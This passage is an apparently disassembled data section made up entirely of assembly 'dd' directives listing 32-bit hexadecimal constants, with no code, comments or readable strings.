		dd 6612F4A2h, 9BE2B80Bh, 2C305D61h, 748F9BDh, 272984E2h
		dd 6A48DDEBh, 0A5F10E84h, 0B42FA67Bh, 7F00C1B6h, 0DC0E11B6h
		dd 8924F9E7h, 97DEB606h, 0C0314B65h, 702F1B4Dh,	9BBB56DFh
		dd 65955909h, 0F62B5E5Fh, 57A2A500h, 0B031C5B5h, 0E07E4F21h
		dd 4620C72Eh, 126078E0h, 0E6FB59BAh, 57501222h,	40ED8713h
		dd 0E23EF812h, 0E80E4977h, 971A2569h, 0D6AFC6D1h, 7161046h
		dd 6DCB6168h, 2169B707h, 72C89EC3h, 0C910DB6Ah,	0FD0B5D9Ah
		dd 562F8B75h, 0D57CECFEh, 0A852124Fh, 900189B5h, 1BF9E9ABh
		dd 5B859DE4h, 5F11B72Bh, 91FC0E80h, 0C3B7BF61h,	7BF6F000h
		dd 32D391F3h, 81A6E89Ah, 67256776h, 956DA55Bh, 0E0EBDE42h
		dd 0D2912CB0h, 0B2CB043Eh, 0A73DAC0Ah, 6092EFFBh, 9593B2A6h
		dd 2654DC09h, 0F1D30833h, 1644E98Eh, 0A0E83DEDh, 0F141BE00h
		dd 0C89D328Eh, 828B9584h, 68598A09h, 36002D7h, 7B505985h
		dd 0A199BA05h, 3CC0172Dh, 4B1DEF81h, 10358A91h,	0D5420476h
		dd 421B69CDh, 0E77F1919h, 58E123B0h, 0B304B601h, 2D3E9505h
		dd 2E09D281h, 0A3D78000h, 5A27D3BDh, 8C02C76Eh,	0B7650AB1h
		dd 0D69A56C9h, 2001C46h, 0E52673F0h, 622F2A70h,	0BF27444Eh
		dd 9F8059DEh, 14E2AB72h, 3FB600E5h, 0C542E470h,	444AB7D8h
		dd 0DA9222F2h, 650B8090h, 2FCEB652h, 8A0BB2C1h,	95190FF7h
		dd 0BD010497h, 0C8AA2AD1h, 838A11E5h, 0D28C1E03h, 6655DA4h
		dd 505FFF1Ch, 0E10A8993h, 4952F40Eh, 0F76A036Ch, 46F25072h
		dd 6AB23C55h, 0C1DC819Eh, 0B4BAC275h, 7B5520F3h, 40BC3A12h
		dd 0C7513DE6h, 0BA35342Bh, 0A6891BD9h, 875C2E91h, 5031F3C9h
		dd 0AC4EBEC5h, 10E2CC8h, 16B9EFEh, 6059B7F3h, 0CA1D8453h
		dd 92710F5Fh, 9A2B2050h, 0C018C86Eh, 47699FE2h,	9D236804h
		dd 2BB9318Dh, 0C56C81D6h, 0D162A28Fh, 81F2BD9Dh, 63C6E795h
		dd 8B73D8FAh, 1DBD304Eh, 0EA50ADC9h, 597ADB97h,	263181Ah
		dd 993E69D4h, 0E2F54CA3h, 56A50238h, 0B34257B4h, 0D4080D6h
		dd 40C5783h, 0E738CECFh, 0ECA2B3h, 95BAAD9Fh, 98FD57Dh
		dd 0A6D3BD58h, 50D1005Dh, 2FCC08BBh, 0E75E4072h, 0C53D574Bh
		dd 46487800h, 1340120Fh, 0F30E94Ch, 0B816A157h,	6AEBB444h
		dd 0BE7A0598h, 95D3A9FBh, 42B8C448h, 0C2F388A2h, 38BF4ED8h
		dd 0B2820DD6h, 0ABB8A048h, 0F3134156h, 17410F30h, 84920022h
		dd 46CE7579h, 0A9028625h, 2AFB8101h, 0E8607D5Bh, 50812341h
		dd 2E814A78h, 0F4B5CD1Ch, 7900989Ah, 0B27637A1h, 139D3A43h
		dd 0FC532140h, 975B3831h, 6FAA3489h, 1AF614C8h,	26345895h
		dd 2D50500Bh, 5D799D33h, 112D148h, 1BBCECBDh, 0AEB2008Ch
		dd 57D7D639h, 0D9B89890h, 0A41AD925h, 6B5404D8h, 0E745FD12h
		dd 939A5FAEh, 20F9E587h, 1DB34E19h, 0C7DD8E54h,	61FB8B12h
		dd 5D8DB4E2h, 75B62E3Ch, 227E28F0h, 11633305h, 0BEFFEF1h
		dd 96570B20h, 0D4C3946Dh, 0F1A1F55Ah, 1298DFFCh, 0E00F6E58h
		dd 0AA900BCCh, 61BD115Ah, 0B59AEAB4h, 0FE48009Ch, 526D3610h
		dd 7904E74h, 2D13E120h,	5C5EF5E9h, 0DE1226h, 0BF4B1D9Eh
		dd 2756E8D4h, 37C18B2Dh, 2F540F8Ch, 7B00AD8Bh, 9501CCF1h
		dd 712DD52Dh, 0CC4D6956h, 18C91340h, 221044Ch, 0EBC744F9h
		dd 8CBE7324h, 0AE097997h, 0D82BF2B6h, 5B244069h, 9E17895h
		dd 915C7EBFh, 9B318687h, 0B92440F4h, 0A64000BFh, 0BB90423Dh
		dd 0E3152897h, 208C36EEh, 1A440C69h, 0D3CDBDE8h, 0DD66FA4Dh
		dd 0F27F79F0h, 0FFED7A01h, 0E97D1197h, 857420CEh, 860E7031h
		dd 402ACB0Eh, 0D1D015B6h, 7721309Bh, 92F0BB79h,	8102CE79h
		dd 396469E7h, 52CC8103h, 0BD673A25h, 2231E7A0h,	0E2495C02h
		dd 7F172CFAh, 3087A409h, 0C22588E1h, 7048F398h,	70097B7Dh
		dd 826BB8E0h, 5160D54h,	3EDEEE50h, 647D8AC0h, 0B50296CFh
		dd 31AC9CBEh, 0F3A3D5BDh, 585BDE8Bh, 0DC7ACD85h, 1067E7Dh
		dd 21847A73h, 2A52750Ah, 0B589D430h, 5F1B406Dh,	0F4806004h
		dd 89C5B1BAh, 0D7CDDAEBh, 9D8E98h, 0D7F3A15Dh, 0E1BA11CAh
		dd 830F9B12h, 0F8C90FF8h, 0CCBED879h, 4A01205Fh, 0B45AC7FFh
		dd 1038AF29h, 18B386D6h, 2EEC7658h, 3CCDC2C5h, 0E75E03ADh
		dd 28C50CFCh, 0A9B2F89Eh, 88157495h, 0FE2A16C9h, 0BB09D3B0h
		dd 5C5B5AFAh, 29B18823h, 0F5605009h, 0D0BA8BB0h, 8842247Ah
		dd 0C408F85Ah, 0DBEE9061h, 0A4708018h, 4E5076Bh, 39A9447h
		dd 2D13AB85h, 81C72AAEh, 87A8323Bh, 41CD1060h, 28F7402Fh
		dd 13128E7Fh, 5BC07E9h,	4255CE1h, 0C0E21AF6h, 1210A2FCh
		dd 0D5BD031Ch, 0FB7CC328h, 0AF75162Bh, 0DB570A6Bh, 1D2B000h
		dd 0CEE3EC94h, 644CC42Fh, 0F30E034Fh, 0C0709BBAh, 0EA6669E0h
		dd 103E4E00h, 0CF675BF6h, 60571773h, 9791FB23h,	0FF445350h
		dd 34FAE712h, 0BC90ABB9h, 138ACCBFh, 0BA615EE7h, 88C4E463h
		dd 21BCDD2h, 0E1A0E7CFh, 38FEC3C1h, 395E7540h, 90530026h
		dd 0D3738BA4h, 0DF09939Ch, 555F59C9h, 8A90E130h, 5598FA4Eh
		dd 95774EB3h, 8E7BAF2Dh, 46AC5A04h, 8E7781FBh, 50333ABCh
		dd 0D3BBB529h, 0AEEC6AA4h, 260C3C8h, 405A6366h,	645DCEC4h
		dd 0BE894A3Eh, 0FF5F6C40h, 0B53095B5h, 0FE1985E5h, 0BC4BB49h
		dd 8D725E28h, 0E5C860F4h, 482F0E41h, 2905BF17h,	1AD021BDh
		dd 48171E4h, 0CC0551F7h, 22FDBD19h, 99C6BDD0h, 127179A0h
		dd 0E5300B81h, 5BE49504h, 41E2FCA3h, 0F945F85Eh, 0CA488FAh
		dd 0DAEE9397h, 20E85EDFh, 0BB48978Eh, 314EC82Bh, 8B016FF2h
		dd 0B19D23D1h, 86F19117h, 0DFB70F02h, 9D7858Bh,	0C90977F3h
		dd 0B9694466h, 42445CA7h, 98825B1h, 8C920099h, 0C38176EFh
		dd 0F6C97C09h, 44C37A2Fh, 0D0BE5113h, 335B4038h, 0B1B45E9h
		dd 2B058DE1h, 0C45633DCh, 0BC5FDE9Ch, 932B88D1h, 0AB25AA29h
		dd 30BE1404h, 6390D2BDh, 333595C2h, 75884C5Ah, 0B097DFBFh
		dd 82A166DBh, 0EA40D674h, 582AD57h, 0B37F40DBh,	0CBB5FFFCh
		dd 28467146h, 25E360FBh, 0F76C2A8Dh, 0E8C2E304h, 60AFF9AFh
		dd 87CB8008h, 0FD6B913h, 7ABBE043h, 0FCEC2CC6h,	70DD39E8h
		dd 20E2A6BCh, 6E406402h, 5D04F380h, 0B90B8B04h,	10E59075h
		dd 2B121AFDh, 80A29BD2h, 0D131149Eh, 0F785090Ah, 997BF930h
		dd 80181BF9h, 0B4E4A207h, 1646CF5h, 92E081F6h, 6A7B7374h
		dd 0EEC6CA29h, 0A5006C9Fh, 10336CEh, 0BF68015Bh, 2144F340h
		dd 2C882F23h, 0A9884B0Dh, 16BEC75h, 4D026D26h, 2A77229Ah
		dd 0C404B934h, 921D0371h, 4AC7F7D8h, 0CA0C4B6h,	3918D653h
		dd 0FAEE8DEEh, 6F6697E1h, 3B85012Eh, 0EA4A5E25h, 0F9BF04B9h
		dd 0ADD5BC5Fh, 4BC4FDFEh, 0D1CAF84Bh, 0F099612Bh, 513F5D8Dh
		dd 2F58870Ch, 7B09B878h, 0E3BFD8F9h, 5A2DB2C9h,	119D1626h
		dd 8575AF0Bh, 0A533C404h, 0C9C6D1EBh, 46220B43h, 0C0A24D9Fh
		dd 49BB4DFDh, 35B58908h
		dd 9D893810h, 0B95C0A59h, 9D042970h, 80D14E7Bh,	2F1D1C65h
		dd 0C4CB0D2Eh, 0E990AF51h, 0B62A607Bh, 7127E0CBh, 0B7EB75CAh
		dd 33263FF8h, 0FD167698h, 950D54F0h, 51BDC2C4h,	4CE70062h
		dd 74AA05E6h, 0DFBB4B00h, 4EFC1321h, 0BC5904B8h, 0BC5FD98Ah
		dd 8CDB5BD8h, 25BDB993h, 30CEE9A2h, 0DF17A816h,	6BBAFF3Ch
		dd 331529C3h, 0B66AE10Ah, 3B276508h, 0B7EAFE25h, 4210CF5Dh
		dd 0CE8259DAh, 90040FA9h, 0A98EAAh, 6E588A4Dh, 97523FC8h
		dd 0DE44CF81h, 5B6E2F90h, 21702200h, 63A1BFBEh,	6A11DE13h
		dd 52F091B6h, 32043AD6h, 2F957C91h, 12F108FEh, 0FC2F8C2Ch
		dd 0E04B501Ah, 8831CD00h, 0AA2F1A91h, 0B68200D6h, 0BEEFC83Eh
		dd 1EF87F68h, 0D8B77C12h, 3C8025E0h, 0F9920119h, 28E5B3FCh
		dd 0F154CB53h, 2C9C5FEEh, 0D8E78061h, 0B2C7F62Ah, 0E9F43014h
		dd 5B2ACB49h, 0E1D2E0F8h, 93F77AA3h, 47CFACB1h,	0EE9135E6h
		dd 2D56C09Bh, 602B77B1h, 0B8B51646h, 73D84Eh, 493BFC8Eh
		dd 40EC2307h, 17AAA601h, 0D1AC5BC5h, 0A8AFF23Ah, 7BF90963h
		dd 70228FBCh, 700906C1h, 25ECB0C1h, 0E176C4D0h,	0D71655E2h
		dd 0B8D3C5B2h, 2CF0750h, 47F77213h, 0BEFBFD96h,	2E2C2188h
		dd 5650078Fh, 795F1960h, 0C73A0057h, 768E0D11h,	22AFEB1Eh
		dd 0F6B15F65h, 7B56A61h, 8AE69B2Ah, 0E5098B68h,	0D396570Dh
		dd 0D44796h, 935E0FC2h,	13BBFF21h, 0BD03BE0Bh, 68062059h
		dd 279B5BEEh, 2D105282h, 750A8540h, 814E0502h, 78655F1Ch
		dd 0A811016Bh, 8D017D83h, 0E555DE15h, 49A270BBh, 2165F81Fh
		dd 10CDFE31h, 0F84DAE04h, 57C22F8Fh, 8E01FE93h,	79C9E381h
		dd 0FD262747h, 0D37AFC51h, 0E226121h, 0C01697A1h, 1AE38012h
		dd 338BC7E2h, 9DD90F53h, 7ACCCCh, 0AF49A07h, 0AC69D781h
		dd 5E59E12Dh, 4BF1E2BCh, 0F1E13557h, 0F0A01816h, 0DCFDBC02h
		dd 0FCF17F01h, 3251B529h, 34C2CE6Bh, 0E8815595h, 8E6E300Dh
		dd 0A5F15FA3h, 0F586E67Ah, 374F3A07h, 197CF5E1h, 8A7D4F71h
		dd 271650DCh, 45B6D852h, 0B16B2E24h, 0E8001A23h, 0C5FEF7B3h
		dd 8967328Ch, 0B0F52F50h, 17757C5h, 20AEFBC5h, 2A646E9Ch
		dd 0D3DD52E8h, 0CF67AFD8h, 0DC96DAD2h, 0A1BB00A0h, 0B4B95BEDh
		dd 712E8D7Bh, 0BF072761h, 4D89A3C3h, 7987C07Bh,	8FA01326h
		dd 0BA952B99h, 6E15D0Dh, 0E7F27A03h, 0A807ADD3h, 0B5DB011Dh
		dd 0FA8AF261h, 0C1206A60h, 9D4D57h, 9ED98809h, 0E2D7FB2Ch
		dd 0A3E668EEh, 0D13EC390h, 0D659A533h, 7A616718h, 0FCC024A1h
		dd 0B411800h, 588E3749h, 4AD8B8F2h, 0D241BDDAh,	0A87969Ah
		dd 0A7764025h, 874B3788h, 1733D4CCh, 0AF318DBDh, 7D57ED6Fh
		dd 0D9858C07h, 977FE171h, 0BDDA4191h, 0E3F26B2Fh, 0BD9DD69Eh
		dd 0E6B9D38Fh, 0F00021A8h, 90E3458h, 90788B1Bh,	19493143h
		dd 2B15F562h, 0E6423C9h, 4F7B9526h, 182568A8h, 9FE7ECB0h
		dd 4D97A0D8h, 8B2FE2B3h, 31AD31D7h, 9F2801D8h, 18E4A3CDh
		dd 3D39D760h, 829F7877h, 48635542h, 0BA27E7C1h,	0A710B52Ah
		dd 9700C836h, 6FA6EF20h, 0B5C6DC9Fh, 0FAB2FBC7h, 51765EF9h
		dd 65B3103Dh, 8E92296h,	0F43CD300h, 76276B84h, 0B3507F22h
		dd 99D57AEDh, 0D741603Bh, 0B1000779h, 749561E0h, 5504FE14h
		dd 61C90A0Dh, 9D8245BDh, 90143231h, 0CDD94B7Ah,	2840215h
		dd 5CDC8A22h, 2F3B51F3h, 7BC9CE9Eh, 642F8AC0h, 6F037495h
		dd 95D5F360h, 4D7BBD0Bh, 2FAAC6B5h, 325E919Dh, 61161355h
		dd 7AE6C519h, 0E92C4480h, 80789D57h, 783795h, 3D0918FCh
		dd 802D7A08h, 275CFECBh, 0FEC3B46Dh, 0AA1288A9h, 54FB095Bh
		dd 0E0023337h, 8E82C563h, 0E5F52ED1h, 0D8BF0470h, 7E5A8C50h
		dd 9CCEAB1Ch, 6E620A44h, 0DB2E11A1h, 2F0B80A2h,	0F9834F15h
		dd 0A081B72Ah, 1E60143Fh, 7A36CC6Dh, 819D318Bh,	55D916C2h
		dd 7D8CE2ADh, 81039DC6h, 0C25C9BE3h, 31F60B41h,	8B3D3A34h
		dd 37918F01h, 0C82B4EE6h, 1D413D09h, 0B82E172Eh, 19C98DA5h
		dd 0AA76AACh, 9081AE1h,	0F959D0B7h, 9AD80054h, 93273E4Fh
		dd 0C02D24B8h, 594673F0h, 78A1816h, 0BD89BC15h,	425C0B75h
		dd 721D467Eh, 0B1611200h, 6C4275C5h, 0B1214E27h, 30292BA6h
		dd 0F2EF55C6h, 2C01667h, 0B58E0F99h, 0FE433279h, 133B90F5h
		dd 0BE83003Eh, 0A3A72742h, 0FD9C026Ah, 5DBF28DCh, 334122FFh
		dd 37D9B4A0h, 35B40192h, 7EAD59DCh, 0CE7E982h, 3B58DF56h
		dd 12E58334h, 0EC80BE71h, 0B1D16C5h, 0FDE14433h, 9D1281D8h
		dd 0F4B923F5h, 5AB2AF92h, 91F5B307h, 178D837Dh,	51EC3069h
		dd 357569E1h, 0DF1B0017h, 870F50FCh, 0F7F3094Fh, 0B88BC139h
		dd 0A9577A29h, 0C546CD76h, 1A68C0E5h, 0ED250F27h, 0B6AB6C42h
		dd 5006BDCh, 55FF5BD0h,	0BDB59495h, 50400F4Dh, 13308A15h
		dd 0BC19D1BEh, 0D0D68045h, 6AE328h, 9264FAEAh, 0AC85F146h
		dd 0E1449Fh, 66570D50h,	0FD1ACF38h, 0B3318600h,	1589CE0Eh
		dd 0D78B975Bh, 0AD0735D7h, 0AA006ECCh, 9AC863DCh, 95ABF85Fh
		dd 3BE9E889h, 7985CCFFh, 5A8E44BFh, 0ECC7B945h,	0D961132Ah
		dd 0D434EE95h, 0F38814ADh, 0EEAEE640h, 4B05A33h, 1231CD1Ah
		dd 219D0BB0h, 0EC242C85h, 5CE5951Eh, 53CE6464h,	0FCA16052h
		dd 0F0D60C7Ch, 73B5295Dh, 44C127C1h, 92A173F6h,	5C6466ECh
		dd 17EA5404h, 4BAFFB25h, 6DF1881Ah, 1DE0D892h, 93C19751h
		dd 2B5B0001h, 0E406B0C8h, 0CD66C6D1h, 7444FF1Dh, 80454BB3h
		dd 4947551Ah, 32F268C4h, 600B12B8h, 24D59503h, 0C8EB610Bh
		dd 5A25CB8Bh, 0D385D36h, 0A442195h, 450BA842h, 44D7BE17h
		dd 0D912B91Ch, 8C2B3778h, 528823E2h, 69B52631h,	0AE5F9204h
		dd 50AB7375h, 0F9446147h, 47C5B50Dh, 7CB13C08h,	0F8091646h
		dd 0D4F6FE88h, 220AE962h, 0AF747F07h, 0BA5D88ECh, 516FB501h
		dd 0AD767841h, 0C540D723h, 0B0FB0EB7h, 43203F8Bh, 6309A631h
		dd 0CCBE2725h, 7FEB074Ch, 0B10B2B9h, 92FA3775h,	4E8DEA5Eh
		dd 30B9202Ah, 66007947h, 9DF7E8FAh, 12E2C83Bh, 0F099EA43h
		dd 4D25BB66h, 42E35C6Dh, 29240421h, 55167982h, 0EDB7D994h
		dd 8241438Dh, 1F4B5E72h, 1AC8818Fh, 0AB9AACC0h,	0FF272F0Ah
		dd 0C2DBF740h, 0DAE27AFDh, 21C66EF9h, 4BF37E5Eh, 21B8223h
		dd 0E7CF4F5Ch, 0AE125DEFh, 57B1F713h, 470DF9B5h, 0AD0AD406h
		dd 9E0D6FFh, 0DA71952Eh, 0D458FE7Ah, 59C91218h,	4F3DE3C4h
		dd 4080A380h, 424B9EFCh, 6A4E249Eh, 0AC480021h,	51DA354Ch
		dd 0A1580233h, 234D9529h, 11FC3757h, 0BE178015h, 4BCDB529h
		dd 10258B02h, 0C44BDC9Eh, 0A224AC65h, 0C780214Dh, 25123A9Ah
		dd 0E59DFFA2h, 12F6AB5Ch, 0B2C7382Eh, 0A4F488FBh, 7C925F1h
		dd 27202B60h, 38E05ECAh, 0AA81D1E6h, 0A28DADBFh, 0DE042B45h
		dd 5F14E9h, 238B746Ah, 607C2510h, 0CE36E307h, 7390E141h
		dd 5A3067C6h, 85259815h, 958872BDh, 7DD9825Bh, 0FD26FB2Bh
		dd 81054456h, 0B312EB7Ah, 0F9B47A3Dh, 0AA588A34h, 40C759BDh
		dd 0C9BD3360h, 36912A4Fh, 610211B5h, 0E46BE356h, 66160093h
		dd 0A42E8449h, 0D074059h, 13607AC7h, 94C0E851h,	3634DA21h
		dd 6E245A04h, 88744BBBh, 40F9C9BEh, 9AFE7A6h, 3CC165B5h
		dd 0A953D0h, 0EABE5BBFh, 0FCAFDF6h, 3DDDD600h, 0E3C92CB4h
		dd 19569095h, 0B15F04B0h, 8B67CBFEh, 0D9ED80Eh,	33610260h
		dd 56F7F8D7h, 0FA0ED45Ah, 581BB382h, 52C545F5h,	525E485Fh
		dd 0C44F4BF2h, 0A8D2945Dh
		dd 276F97D2h, 8885D500h, 8D17A2E5h, 0DB3F50Eh, 13018EE9h
		dd 10CFEE9Bh, 4FFF55A0h, 0B0C4854Dh, 6FAE1B59h,	41623A0h
		dd 0AC0BE84Eh, 57B1D2FAh, 0AAFD122Ah, 0D08178DEh, 60CDDAF9h
		dd 24675D82h, 564BBDB1h, 182953FDh, 613C249h, 0BBF96700h
		dd 4BFA1B2Dh, 836ABA65h, 81A2192Bh, 4665B79Fh, 0C5E57A42h
		dd 11EDA501h, 92256517h, 0D4D15054h, 628AB38Bh,	25905488h
		dd 0F6CADEh, 30B5485Dh,	0AAB3FC33h, 5ACD6805h, 8CAB8E6Eh
		dd 0A9133257h, 6EAB71B0h, 35FF07ECh, 0ADB0828Bh, 97E5D780h
		dd 0A12B2A10h, 923C7100h, 75902A2Eh, 0A75F092Fh, 0AB5C586Bh
		dd 0B1B24212h, 0BC06FD4Fh, 0E6630092h, 51707262h, 0F2FD409h
		dd 0F4490h, 9D5CB6F0h, 294BD2C2h, 2D620303h, 0B1D168EDh
		dd 0C742BE8Ah, 7A35DCE7h, 2E562241h, 5BFD21ABh,	0F0802690h
		dd 502D1E06h, 4B834E9h,	1120D9D2h, 0A635D930h, 5DC22E6Eh
		dd 0A84AFB10h, 0AB12075h, 690E6162h, 7A055C2Bh,	0F1B17A85h
		dd 0A4DE2ACBh, 83649A4Ah, 4C473FA3h, 4E5B2582h,	45EBDECBh
		dd 0F6B6FCh, 0B7F927B4h, 0EEA9FD0Fh, 89C67D62h,	0EBC75531h
		dd 0C3801674h, 0E5C4040Ch, 0E2F2AC31h, 857F2BA2h, 0D02C9837h
		dd 8123C091h, 0EFBBBCCBh, 4AA6584Ah, 9A3017B2h,	0A0BC2D7Eh
		dd 46F43C58h, 77E79A95h, 0AF516610h, 0DAFAA81Ch, 9EA75C00h
		dd 0EEE0FD2h, 9A46ED8Bh, 0BF7D1F60h, 6612EC68h,	2EB35B17h
		dd 0D6DB204Ah, 0EF00E802h, 4AB4735Eh, 99EA282h,	399209E7h
		dd 918D3557h, 0DD2A801Bh, 4D3FD29h, 0E8C092E6h,	2246400Ah
		dd 0FC44956Bh, 0BA0919DFh, 0C3F7F6A9h, 0F965BD0h, 0B852825Eh
		dd 61C7C9EEh, 0BDF73F11h, 0D55877E0h, 14963C02h, 570E2389h
		dd 2022FA10h, 78B5800Fh, 8AB0E30Fh, 9886F04Dh, 0DED30295h
		dd 0F55135DDh, 25F8967Fh, 2ECE0549h, 0D7258694h, 3022E33Bh
		dd 115B9DB9h, 8A181959h, 12B18401h, 890FCC02h, 0A5578C2Ah
		dd 7C603731h, 95892C51h, 7CE2798Dh, 97E4725Dh, 4640FFEFh
		dd 9C2583Eh, 252A857Fh,	89A722C3h, 0B9FE11CCh, 0E1E6284Ah
		dd 973015A2h, 95892D9Bh, 0BF81D4D4h, 36D404F0h,	0F8D3492Bh
		dd 5BE9D85Ch, 0C8C15179h, 913BD740h, 72DD77EFh,	0DBB90392h
		dd 8A0C13D3h, 195E00BCh, 0AECBA2D1h, 0A78418B0h, 9D298876h
		dd 0B7C8754Eh, 647B956Fh, 0F4EBD8h, 28DF7BBFh, 12CF8005h
		dd 64F06DB5h, 0E662611Ch, 0A73FCCh, 0F67E948Bh,	5E3DE5BFh
		dd 0A58B60B7h, 0C6D5822Ch, 5B180026h, 0A49B4E31h, 5800ACF4h
		dd 0CD0A29F0h, 9166CC3h, 505E4376h, 9697AFD9h, 5080679Bh
		dd 0DFCB7942h, 265CF112h, 951C92E6h, 0E173E5FDh, 910B85A6h
		dd 0FE1C5708h, 80856394h, 2EC0E6C7h, 2592AEBBh,	755C5498h
		dd 33FFBF42h, 0C6DA1225h, 0BB660904h, 15D7292Dh, 9C654093h
		dd 3302D67Dh, 1AAB0AD7h, 0A7245CA1h, 8FD059FBh,	0F98D2563h
		dd 1A113BC5h, 25A6FC4Bh, 860B7317h, 0E7F59D23h,	9A8C64Ah
		dd 0E2922E8Fh, 8758D21Ah, 9559E93Dh, 0E781FF80h, 2704F831h
		dd 0F5C18B70h, 93A06F2h, 0F0856392h, 14C1BA35h,	0EA81F00Eh
		dd 1B4C23BBh, 9517D948h, 0FF9C27ADh, 0C3F70232h, 42E23A41h
		dd 322F6FF3h, 613F963h,	1AC22B58h, 0D09CF06Ch, 5A4D2538h
		dd 0ECA4E475h, 3C5003B7h, 3A81D003h, 192445B3h,	2D47F684h
		dd 0E965600Bh, 894CDCD9h, 788FC88Bh, 3063128h, 674F3C40h
		dd 0A899C206h, 627D8B1Eh, 21DFD12h, 0A393F805h,	0D1030CF0h
		dd 25E520C6h, 9A08F64Dh, 64074048h, 0E0058F22h,	4C42483h
		dd 8B5162CEh, 81100B40h, 14B0A928h, 3359B5C1h, 0A20C3C0h
		dd 8B234865h, 0C68424C8h, 0A909D85h, 12D26847h,	9D49AA7h
		dd 0C8557D73h, 9D7B70C5h, 6AD00603h, 82800886h,	0EBC70661h
		dd 0C8128DD3h, 1D58742h, 7D594976h, 0F5669789h,	0D104952Fh
		dd 0B431285Dh, 60688D22h, 0A5DB7A96h, 71BD29C3h, 70CBA7E4h
		dd 2EBA98Ah, 64104518h,	9E2EEED4h, 0A702F438h, 59A86408h
		dd 12A0D70Ch, 9DE381D7h, 54121C13h, 950528A0h, 2E932D3Dh
		dd 0FE1412BEh, 5D6AA732h, 0C0C509DCh, 37011B80h, 91050004h
		dd 6E025B9Ch, 2AF007B3h, 755AB900h, 8F8C6244h, 29AD00C8h
		dd 0F817D970h, 7375E199h, 49DC8300h, 7E1510B9h,	5A010088h
		dd 0B1A085BAh, 602EB27h, 0BF338024h, 669A40BCh,	7B4A00E7h
		dd 2A9405C0h, 5F0F6B03h, 40DD4C4Eh, 0DB53C45Ah,	46380019h
		dd 7897209Bh, 30019C2Ch, 8CB87FC1h, 90F09F3Dh, 7237C4Ah
		dd 7B4134D3h, 931641BAh, 0F2D5C899h, 32B03003h,	30783897h
		dd 0FE21A208h, 0EF00D58Bh, 54730CF7h, 0F9B226h,	3EB13C5Ah
		dd 718CB0C8h, 9EB99301h, 3751EA16h, 540038BCh, 0BDE65649h
		dd 0B5E6B76Ah, 4F085266h, 417B0F21h, 0F3004A56h, 717F99A6h
		dd 65EE5200h, 6996B8A3h, 7EF2061Fh, 0C8B543B9h,	7C3439C7h
		dd 151CE841h, 0EC361180h, 0DF9F8D7Ah, 97389D0Ch, 0C30A08D7h
		dd 7AE45721h, 766E3A8h,	0FC1EC61Fh, 48E96541h, 8C4F5F4Ch
		dd 0D2C0AC88h, 0C0051C28h, 0E6AAA269h, 5B00DAD3h, 61E2F2E4h
		dd 1F630A2Eh, 40CE1728h, 9D43F4B3h, 0F980B998h,	32260038h
		dd 0A3BDE347h, 0F8C19C3Ch, 1B392C92h, 0AC08B044h, 564CC3E5h
		dd 0AC42302Bh, 76004911h, 379F5644h, 6E0F1470h,	81FDD82Fh
		dd 0B1BC8333h, 0CC791E01h, 0F77628E2h, 0AA78DC00h, 0C8F48175h
		dd 8BA54813h, 0CFB8DB00h, 0C78237F5h, 930EF728h, 9B31C903h
		dd 89C28B83h, 0EFD1BBB4h, 0E82B9EE0h, 5F3E0049h, 15B2B8F8h
		dd 0DE01AF87h, 0E826C99h, 1880F93Fh, 0C0F36A4Fh, 6BF8E6FAh
		dd 0E81E4B78h, 61CF799h, 28CC274Ch, 8E018C2h, 473661A2h
		dd 81C7BF0Eh, 3E1080CBh, 3BBDAB04h, 188012B2h, 8CDAE4DEh
		dd 30C31952h, 21EA2CBBh, 62001428h, 0D506F908h,	0C1EB068Ch
		dd 78AA647Ah, 0D17B8E06h, 86D1BC6Bh, 0B507311Ch, 85EBC319h
		dd 0FCFFDBC0h, 0BD98F619h, 2E518208h, 45C086DBh, 85218F2Bh
		dd 4024445Ch, 0EA6F6417h, 0D9BD0019h, 0B6E73F30h, 0ED60AB7Bh
		dd 0CAAFC220h, 0EF01003Bh, 10B73E92h, 0F50F4482h, 0C6C60E26h
		dd 0B1AD06h, 0F84C69B6h, 64F25103h, 12F5731Dh, 7DE84503h
		dd 65118E5h, 587A3186h,	816C101Fh, 7768D101h, 0DEE4C144h
		dd 0B78A03B8h, 2FCDF3CAh, 1C907822h, 41E12E4Dh,	794CB621h
		dd 6A041C6h, 624F1002h,	98FE50F8h, 0F58E003Bh, 91901BC9h
		dd 0B9006C2Eh, 7353E8F3h, 0D872845h, 756AD1F2h,	370EC479h
		dd 1724AA50h, 174AE88h,	30880645h, 0BA92078Ah, 0F7EA8FC1h
		dd 0A6ACA0A2h, 159B24h,	5F512CE9h, 0C2106492h, 0E1B840F1h
		dd 896065D1h, 1AE8E339h, 43F8F75Ch, 0E5C4312Dh,	24AB6C18h
		dd 77005240h, 0A4AC8448h, 9CCF3A7h, 2CE1C4A6h, 39BEE00h
		dd 0A8A0F826h, 0AF001A42h, 0E89F444h, 1866214Ch, 78EF8A10h
		dd 0C003B93Ah, 64CCAD97h, 0D9100075h, 6EEEB1D3h, 6B01094Ah
		dd 0FB02EFDEh, 4BF056E9h, 399212D5h, 41056C8h, 908A78B4h
		dd 89C65198h, 1852040Eh, 0C35386BAh, 97A48129h,	9F6CE18Ch
		dd 0D016E2C9h, 8903367Bh, 93EA698Fh, 0F0F8B0D2h, 240C7206h
		dd 0A60C77Fh, 0F075ABh,	5942D5C1h, 0CD00AFE2h, 0D9346A7Dh
		dd 57670Ch, 7BBBACBCh, 78609CCFh, 91D69600h, 0DD613824h
		dd 65FA00A2h, 0EC3EF084h, 48001450h, 0ED7D6703h, 3DE0F3h
		dd 7C617538h, 0A8DD211Bh, 0B69A5Ch, 30EF3EF5h, 18734DD9h
		dd 2065BB19h, 0C772A43Dh
		dd 0C420D253h, 956105D7h, 0EC2880EEh, 830D5794h, 890E00B0h
		dd 369684E9h, 0C9002117h, 2EEAF7BFh, 0CAD4F3BCh, 3701630h
		dd 0D08AA868h, 0AF62D82Ch, 0F592A903h, 54D801E1h, 14B42EE0h
		dd 5E1C43DFh, 2D12A9C0h, 0D4F57119h, 599E2820h,	0DDD20A1Ah
		dd 0B7CC0034h, 0B8754C62h, 6D34010Ch, 0C0C608A0h, 62AF3321h
		dd 2D0CF3C7h, 18EC074Bh, 0C31100C2h, 283E1DD7h,	0D107A3EBh
		dd 3B21ACE6h, 0A3302F3h, 0D8AAA28h, 0D5AE80C0h,	0BAF23806h
		dd 57CE7B00h, 1E56A069h, 5E24038Ch, 3445AEECh, 0A186103h
		dd 87BEDA1Fh, 30B52101h, 21100898h, 1F030276h, 0AE18B891h
		dd 46A1C916h, 0D3F000C3h, 5ABABB6Ch, 7014087Dh,	5C03C1Ah
		dd 94483D46h, 0F40EDC5Eh, 5D0444D5h, 55F01EC1h,	0D8F90994h
